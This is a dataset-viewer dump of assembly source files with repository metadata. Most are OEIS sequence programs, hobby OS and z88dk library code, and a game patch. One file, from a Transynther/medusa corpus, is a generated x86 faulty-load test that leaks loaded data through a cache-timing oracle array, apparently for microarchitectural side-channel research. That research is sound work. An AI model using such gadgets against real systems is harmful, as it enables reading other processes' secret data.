devngho/the-stack-mini-nonshuffled · Datasets at Hugging Face

249eccc24e2b3f29b7287fe38caf413c147d81c0

489

asm

Assembly

oeis/215/A215665.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/215/A215665.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/215/A215665.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A215665: a(n) = 3*a(n-2) - a(n-3), with a(0)=0, a(1)=a(2)=-3. ; Submitted by Christian Krause ; 0,-3,-3,-9,-6,-24,-9,-66,-3,-189,57,-564,360,-1749,1644,-5607,6681,-18465,25650,-62076,95415,-211878,348321,-731049,1256841,-2541468,4501572,-8881245,16046184,-31145307,57019797,-109482105,202204698,-385466112,716096199 mov $4,3 lpb $0 sub $0,1 mov $2,$1 add $3,$1 add $1,$3 add $2,2 sub $3,3 add $4,5 mov $5,$4 mov $4,$1 mov $1,-3 sub $5,$2 add $1,$5 lpe mov $0,$3

23.285714

221

0.603272

978133fdbaf26100c7583616ad7b6303198eb6d1

3,932

asm

Assembly

Userland/SampleCodeModule/asm/lib.asm

BraveJero/bareOS

b1f3634a219cb2dddcc3c1b238541304361ce8dc

[ "BSD-3-Clause" ]

null

Userland/SampleCodeModule/asm/lib.asm

BraveJero/bareOS

b1f3634a219cb2dddcc3c1b238541304361ce8dc

[ "BSD-3-Clause" ]

17

2021-10-30T23:38:06.000Z

2021-11-03T02:03:09.000Z

Userland/SampleCodeModule/asm/lib.asm

BraveJero/bareOS

b1f3634a219cb2dddcc3c1b238541304361ce8dc

[ "BSD-3-Clause" ]

null

GLOBAL print, setReg, fillDate, inforeg, fillMem, _quadratic, read EXTERN print_f ; _quadratic(double * a, double * b, double * c, double * x1, double * x2) ; rdi, rsi, rdx, rcx, r8 _quadratic: push rbp mov rbp, rsp ; (-b +- sqrt(b^2 - 4ac)) / 2a ; https://math.stackexchange.com/questions/187242/quadratic-equation-error movsd xmm0, [rdi] ; xmm0 = a movsd xmm1, [rsi] ; xmm1 = b movsd xmm2, [rdx] ; xmm2 = c mov eax, 0 cvtsi2sd xmm4, eax ucomisd xmm0, xmm4 je .not_quad mov eax, 4 cvtsi2sd xmm4, eax ; xmm4 = 4 mulsd xmm4, xmm2 ; xmm4 = 4c mulsd xmm4, xmm0 ; xmm4 = 4ac movsd xmm3, xmm1 ; xmm3 = b mulsd xmm3, xmm3 ; xmm3 = b^2 ucomisd xmm3, xmm4 ; discriminante jb .complex subsd xmm3, xmm4 ; xmm3 = b^2 - 4ac sqrtsd xmm3, xmm3 ; xmm3 = sqrt(b^2 - 4ac) mov eax, -1 cvtsi2sd xmm4, eax ; xmm4 = -1 mulsd xmm1, xmm4 ; xmm1 = -b mov eax, 2 cvtsi2sd xmm2, eax ; xmm2 = 2 mulsd xmm0, xmm2 ; xmm0 = 2a movsd xmm2, xmm1 ; xmm2 = -b addsd xmm2, xmm3 ; xmm2 = -b + sqrt(b^2 - 4ac) divsd xmm2, xmm0 ; xmm2 = (-b + sqrt(b^2 - 4ac)) / 2a movsd [rcx], xmm2 movsd xmm2, xmm1 ; xmm2 = -b subsd xmm2, xmm3 ; xmm2 = -b - sqrt(b^2 - 4ac) divsd xmm2, xmm0 ; xmm2 = (-b - sqrt(b^2 - 4ac)) / 2a movsd [r8], xmm2 mov rax, 0 jmp .end .not_quad: mov rax, 2 jmp .end .complex: mov rax, 1 .end: mov rsp, rbp pop rbp ret print: mov rax, 1 int 80h ret read: push rbp mov rbp, rsp xor rax, rax int 80h mov rsp, rbp pop rbp ret fillDate: mov rax, 2 int 80h ret fillMem: mov rax, 3 int 80h ret setReg: mov rax, 0xFFFF mov rbx, 0xFFF0 mov rcx, 0xFF00 mov rdx, 0xF000 mov r8, 0xFF00 mov r9, 0xFFF0 mov r10, 0xFFFF mov r11, 0xFFF0 mov r12, 0xFF00 mov r13, 0xF000 mov r14, 0xFF00 mov r15, 0xFFF0 div cl mov ax, cx ret %macro pushState 0 push rax push rbx push rcx push rdx push rbp push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popState 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rbp pop rdx pop rcx pop rbx pop rax %endmacro %macro printOneReg 2 mov rdi, 1 ; file descriptor = 1 mov rsi, fmt ; format: "%s: %x/n" mov rdx, %1 ; nombre del registro mov rcx, [rbp + %2 * 8] ; valor del registro call print_f %endmacro ; Después de armarte el stack frame, tenés el stack de la siguiente manera: ; rbp ; r15 ; r14 ; r13 ; r12 ; r11 ; r10 ; r9 ; r8 ; rsi ; rdi ; rbp ; rdx ; rcx ; rbx ; rax ; rflags ; rip inforeg: pushf pushState push rbp mov rbp, rsp printOneReg srip, 17 printOneReg srflags, 16 printOneReg srax, 15 printOneReg srbx, 14 printOneReg srcx, 13 printOneReg srdx, 12 printOneReg srbp, 11 printOneReg srdi, 10 printOneReg srsi, 9 printOneReg sr8, 8 printOneReg sr9, 7 printOneReg sr10, 6 printOneReg sr11, 5 printOneReg sr12, 4 printOneReg sr13, 3 printOneReg sr14, 2 printOneReg sr15, 1 mov rsp, rbp pop rbp popState popf ret section .data fmt db "%s: %xh", 10, 0 srip db "rip", 0 srflags db "rflags", 0 srax db "rax", 0 srbx db "rbx", 0 srcx db "rcx", 0 srdx db "rdx", 0 srbp db "rbp", 0 srdi db "rdi", 0 srsi db "rsi", 0 sr8 db "r8", 0 sr9 db "r9", 0 sr10 db "r10", 0 sr11 db "r11", 0 sr12 db "r12", 0 sr13 db "r13", 0 sr14 db "r14", 0 sr15 db "r15", 0

17.021645

79

0.546287

b569b2e195559a15ff6d378226d9e166d18360d3

661

asm

Assembly

libsrc/graphics/clga.asm

Toysoft/z88dk

f930bef9ac4feeec91a07303b79ddd9071131a24

[ "ClArtistic" ]

8

2017-01-18T12:02:17.000Z

2021-06-12T09:40:28.000Z

libsrc/graphics/clga.asm

Toysoft/z88dk

f930bef9ac4feeec91a07303b79ddd9071131a24

[ "ClArtistic" ]

1

2017-03-06T07:41:56.000Z

libsrc/graphics/clga.asm

Toysoft/z88dk

f930bef9ac4feeec91a07303b79ddd9071131a24

[ "ClArtistic" ]

3

2017-03-07T03:19:40.000Z

2021-09-15T17:59:19.000Z

; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ; $Id: clga.asm,v 1.7 2016-04-13 21:09:09 dom Exp $ ; ;Usage: clga(struct *pixels) SECTION code_clib PUBLIC clga PUBLIC _clga EXTERN swapgfxbk EXTERN __graphics_end EXTERN cleararea .clga ._clga push ix ld ix,2 add ix,sp ld c,(ix+2) ld b,(ix+4) ld l,(ix+6) ld h,(ix+8) call swapgfxbk call cleararea jp __graphics_end

17.394737

54

0.500756

72d7ab9e571fc442a715073db549789c433c9e93

304

asm

Assembly

programs/oeis/105/A105637.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

1

2021-03-15T11:38:20.000Z

programs/oeis/105/A105637.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

programs/oeis/105/A105637.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

; A105637: a(n) = a(n-2)+a(n-3)-a(n-5). ; 0,1,2,1,3,3,3,4,5,4,6,6,6,7,8,7,9,9,9,10,11,10,12,12,12,13,14,13,15,15,15,16,17,16,18,18,18,19,20,19,21,21,21,22,23,22,24,24,24,25,26,25,27,27,27,28,29,28,30,30,30,31,32,31,33,33,33,34,35,34,36,36,36,37,38,37 add $0,3 mov $1,$0 gcd $0,262149 sub $1,$0 div $1,2

33.777778

210

0.595395

b94155ff1e3078541417ccb160e00a4221d4712e

471

asm

Assembly

oeis/026/A026067.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/026/A026067.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/026/A026067.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A026067: a(n) = (d(n)-r(n))/2, where d = A026066 and r is the periodic sequence with fundamental period (1,0,0,0). ; Submitted by Jon Maiga ; 52,84,123,170,225,290,364,448,542,648,765,894,1035,1190,1358,1540,1736,1948,2175,2418,2677,2954,3248,3560,3890,4240,4609,4998,5407,5838,6290,6764,7260,7780,8323,8890,9481,10098,10740,11408,12102,12824,13573,14350,15155,15990,16854 add $0,2 mov $1,$0 add $0,1 add $0,$1 mov $2,$1 add $2,5 mul $0,$2 bin $2,3 div $2,2 add $0,$2

31.4

232

0.700637

f7cb06f9f5bdd7762fe9cf2e3592276d631918be

759

asm

Assembly

oeis/090/A090995.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/090/A090995.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/090/A090995.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A090995: Number of meaningful differential operations of the n-th order on the space R^10. ; Submitted by Jon Maiga ; 10,18,32,58,104,188,338,610,1098,1980,3566,6428,11580,20870,37602,67762,122096,220018,396448,714388,1287266,2319594,4179738,7531660,13571542,24455124,44066548,79405254,143083226,257827186,464588384,837159530,1508509112,2718239788,4898098482,8826068946,15904026122,28658065532,51640048830,93052153772,167674185900,302138444614,544434662642,981037365970,1767768246640,3185408315938,5739907443248,10342955828484,18637362399042,33583366612762,60515135582362,109044506408844,196491410960806 add $0,2 mov $3,1 lpb $0 sub $0,1 mov $2,$4 add $2,2 add $2,$1 add $3,1 mov $1,$3 add $2,1 mov $3,$2 add $4,$1 lpe mov $0,$4 add $0,4

37.95

487

0.786561

acd81bdd645fe32d9529647ee4e7bf283914b4b8

657

asm

Assembly

oeis/054/A054320.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/054/A054320.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/054/A054320.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A054320: Expansion of g.f.: (1 + x)/(1 - 10*x + x^2). ; Submitted by Jon Maiga ; 1,11,109,1079,10681,105731,1046629,10360559,102558961,1015229051,10049731549,99482086439,984771132841,9748229241971,96497521286869,955226983626719,9455772314980321,93602496166176491,926569189346784589,9172089397301669399,90794324783669909401,898771158439397424611,8896917259610304336709,88070401437663645942479,871807097117026155088081,8630000569732597904938331,85428198600208952894295229,845651985432356931038013959,8371091655723360357485844361,82865264571801246643820429651 mov $2,2 mov $3,1 lpb $0 sub $0,1 mov $1,$3 mul $1,8 add $2,$1 add $3,$2 lpe mov $0,$3

43.8

477

0.821918

76aea44d27a9a05fc78895e8290782c78d7b1844

322

asm

Assembly

libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/l_f16_add.asm

Frodevan/z88dk

f27af9fe840ff995c63c80a73673ba7ee33fffac

[ "ClArtistic" ]

null

libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/l_f16_add.asm

Frodevan/z88dk

f27af9fe840ff995c63c80a73673ba7ee33fffac

[ "ClArtistic" ]

null

libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/l_f16_add.asm

Frodevan/z88dk

f27af9fe840ff995c63c80a73673ba7ee33fffac

[ "ClArtistic" ]

null

SECTION code_fp_math16 PUBLIC l_f16_add PUBLIC f16_add PUBLIC f16_add_callee EXTERN asm_f16_add_callee EXTERN cm16_sccz80_add EXTERN cm16_sccz80_add_callee defc l_f16_add = asm_f16_add_callee defc f16_add = cm16_sccz80_add defc f16_add_callee = cm16_sccz80_add_callee

16.947368

48

0.742236

f965941d7578a19cdeab9254e56e10cfd1103fcb

660

asm

Assembly

src/ow_parserDeclareVar_showOverwrite.asm

szapp/Ninja

7b018a5aa82bdb9f1eadea910ed1ff4711d4485a

[ "MIT" ]

17

2018-07-11T20:53:46.000Z

2022-03-01T18:20:42.000Z

src/ow_parserDeclareVar_showOverwrite.asm

szapp/Ninja

7b018a5aa82bdb9f1eadea910ed1ff4711d4485a

[ "MIT" ]

24

2018-10-23T07:47:33.000Z

2021-02-09T09:06:25.000Z

src/ow_parserDeclareVar_showOverwrite.asm

szapp/Ninja

7b018a5aa82bdb9f1eadea910ed1ff4711d4485a

[ "MIT" ]

null

; Overwrite error message during parsing in zCParser::DeclareVar %include "inc/macros.inc" %if GOTHIC_BASE_VERSION == 1 %include "inc/symbols_g1.inc" %elif GOTHIC_BASE_VERSION == 2 %include "inc/symbols_g2.inc" %endif %ifidn __OUTPUT_FORMAT__, bin org g1g2(0x6F2113,0x79BABF) %endif bits 32 section .text align=1 ; Prevent auto-alignment resetStackoffset g1g2(0x394,0x3EC) mov eax, [ebp+0x8] push eax push esi call ninja_allowRedefine addStack 2*4 verifyStackoffset g1g2(0x394,0x3EC) jmp g1g2(0x6F215B,0x79BB07)

23.571429

99

0.619697

658ef6864d03d08bcc9168842dca51c994ca643e

825

asm

Assembly

oeis/142/A142328.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/142/A142328.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/142/A142328.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A142328: Primes congruent to 31 mod 45. ; Submitted by Jon Maiga ; 31,211,571,661,751,1021,1201,1291,1381,1471,1741,1831,2011,2281,2371,2551,2731,3001,3181,3271,3361,3541,3631,4261,4441,4621,4801,5431,5521,5701,5791,5881,6151,6421,6691,6781,6871,6961,7321,7411,7591,7681,7951,8221,8311,8581,8761,8941,9391,9661,9931,10111,10651,10831,11551,11731,11821,12451,12541,12721,13171,13441,13711,14071,14251,14341,14431,15061,15241,15331,15511,15601,16141,16231,16411,17041,17401,17491,17581,17761,17851,18121,18211,18301,18481,18661,19381,19471,20011,20101,20551,20641 mov $1,15 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,45 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,89

34.375

496

0.724848

03728b74dcd48d70e2430eeec1352a37992bec4a

7,970

asm

Assembly

Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1584.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1584.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1584.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1ee1f, %r8 nop nop xor $2271, %rbp movl $0x61626364, (%r8) nop nop nop nop inc %rdx lea addresses_D_ht+0xb285, %rdx nop nop nop nop nop add %rax, %rax movw $0x6162, (%rdx) nop nop nop nop nop add $51589, %rdx lea addresses_UC_ht+0x1ae1f, %r11 nop nop nop and $13726, %rsi mov (%r11), %ax nop nop nop nop nop sub %r11, %r11 lea addresses_WC_ht+0x1897f, %rdx nop nop nop nop nop cmp %r13, %r13 movb (%rdx), %al nop nop nop nop sub $64180, %r11 lea addresses_D_ht+0x1c81f, %rsi lea addresses_D_ht+0x249f, %rdi nop nop cmp %r8, %r8 mov $74, %rcx rep movsb nop nop nop nop sub $22682, %rcx lea addresses_UC_ht+0xc37f, %rdi nop and $56722, %r8 mov $0x6162636465666768, %r13 movq %r13, %xmm3 vmovups %ymm3, (%rdi) nop nop sub $37, %rbp lea addresses_WT_ht+0x11d9b, %rcx add $22978, %r13 movw $0x6162, (%rcx) nop nop nop nop nop add %rsi, %rsi lea addresses_normal_ht+0x3e1f, %rdi nop nop xor %rax, %rax mov (%rdi), %dx nop nop nop nop and %r8, %r8 lea addresses_WT_ht+0xb08f, %r13 nop nop nop and $54303, %rdi movb (%r13), %al nop nop nop sub $44444, %r8 lea addresses_normal_ht+0x61f, %rsi lea addresses_UC_ht+0x18e1f, %rdi clflush (%rdi) nop nop xor %r13, %r13 mov $87, %rcx rep movsl nop nop nop nop nop sub $59193, %rdx lea addresses_normal_ht+0x18e1f, %rsi lea addresses_A_ht+0xe61f, %rdi nop cmp $36600, %r11 mov $82, %rcx rep movsl nop xor %rax, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r8 push %rax push %rbp push %rbx // Store mov $0x37f, %r8 clflush (%r8) nop nop nop cmp %r15, %r15 movb $0x51, (%r8) nop add $4218, %rax // Load lea addresses_normal+0x187f5, %rbp nop nop nop sub %r13, %r13 movups (%rbp), %xmm1 vpextrq $1, %xmm1, %r15 nop nop nop nop cmp $38574, %r10 // Store lea addresses_UC+0xf46b, %r13 clflush (%r13) nop nop add $54117, %rbx movl $0x51525354, (%r13) nop nop nop xor %r13, %r13 // Store lea addresses_PSE+0x741f, %r15 nop nop add $53551, %r10 movb $0x51, (%r15) nop nop nop add %rbp, %rbp // Store lea addresses_D+0x132c3, %rbp nop sub %rbx, %rbx mov $0x5152535455565758, %r8 movq %r8, (%rbp) nop nop nop inc %r15 // Faulty Load lea addresses_RW+0x1361f, %rbx clflush (%rbx) nop nop nop nop cmp $60758, %rbp mov (%rbx), %r15w lea oracles, %r8 and $0xff, %r15 shlq $12, %r15 mov (%r8,%r15,1), %r15 pop %rbx pop %rbp pop %rax pop %r8 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_P', 'congruent': 5}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 2}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 1}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 5}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */

30.536398

2,999

0.652572

d647923cdeb3dd4286888ed4e818a26b0e039849

947

asm

Assembly

data/maps/dungeon_maps.asm

opiter09/ASM-Machina

75d8e457b3e82cc7a99b8e70ada643ab02863ada

[ "CC0-1.0" ]

1

2022-02-15T00:19:44.000Z

data/maps/dungeon_maps.asm

opiter09/ASM-Machina

75d8e457b3e82cc7a99b8e70ada643ab02863ada

[ "CC0-1.0" ]

null

data/maps/dungeon_maps.asm

opiter09/ASM-Machina

75d8e457b3e82cc7a99b8e70ada643ab02863ada

[ "CC0-1.0" ]

null

; GetBattleTransitionID_IsDungeonMap fails to recognize ; VICTORY_ROAD_2F, VICTORY_ROAD_3F, all ROCKET_HIDEOUT maps, ; POKEMON_MANSION_1F, SEAFOAM_ISLANDS_[B1F-B4F], POWER_PLANT, ; DIGLETTS_CAVE, and SILPH_CO_[9-11]F as dungeon maps ; GetBattleTransitionID_IsDungeonMap checks if wCurMap ; is equal to one of these maps DungeonMaps1: db VIRIDIAN_FOREST db ROCK_TUNNEL_1F db SEAFOAM_ISLANDS_1F db ROCK_TUNNEL_B1F db -1 ; end ; GetBattleTransitionID_IsDungeonMap checks if wCurMap ; is in between or equal to each pair of maps DungeonMaps2: ; all MT_MOON maps db MT_MOON_1F, MT_MOON_B2F ; all SS_ANNE maps, VICTORY_ROAD_1F, LANCES_ROOM, and HALL_OF_FAME db SS_ANNE_1F, HALL_OF_FAME ; all POKEMON_TOWER maps and Lavender Town buildings db LAVENDER_POKECENTER, LAVENDER_CUBONE_HOUSE ; SILPH_CO_[2-8]F, POKEMON_MANSION[2F-B1F], SAFARI_ZONE, and ; CERULEAN_CAVE maps, except for SILPH_CO_1F db SILPH_CO_2F, CERULEAN_CAVE_1F db -1 ; end

33.821429

67

0.812038

15bd512a829b41ae1df95772a35db7426e9d0e64

406

asm

Assembly

modules/lcd_init.asm

antuniooh/assembly-calculator

5e364c5cfdb0aa90958dc168e546c305cda1ee5a

[ "MIT" ]

2

2021-05-08T20:51:42.000Z

2021-05-08T20:52:06.000Z

modules/lcd_init.asm

antuniooh/assembly-calculator

5e364c5cfdb0aa90958dc168e546c305cda1ee5a

[ "MIT" ]

null

modules/lcd_init.asm

antuniooh/assembly-calculator

5e364c5cfdb0aa90958dc168e546c305cda1ee5a

[ "MIT" ]

2

2020-12-14T00:09:01.000Z

2021-03-25T14:07:08.000Z

lcd_init: CLR RS CLR P1.7 CLR P1.6 SETB P1.5 CLR P1.4 SETB EN CLR EN CALL delay SETB EN CLR EN SETB P1.7 SETB EN CLR EN CALL delay CLR P1.7 CLR P1.6 CLR P1.5 CLR P1.4 SETB EN CLR EN SETB P1.6 SETB P1.5 SETB EN CLR EN CALL delay CLR P1.7 CLR P1.6 CLR P1.5 CLR P1.4 SETB EN CLR EN SETB P1.7 SETB P1.6 SETB P1.5 SETB P1.4 SETB EN CLR EN CALL delay RET

6.881356

11

0.618227

bdf2a6dbf49c8ac61f68d311a197716645d13095

843

asm

Assembly

Assembly/Exercise code/3.asm

XU-99/ONE

bd4c118d044941849c5a1357a7025859e091d32a

[ "MIT" ]

1

2020-07-18T15:40:10.000Z

Assembly/Exercise code/3.asm

XU-99/ONE

bd4c118d044941849c5a1357a7025859e091d32a

[ "MIT" ]

null

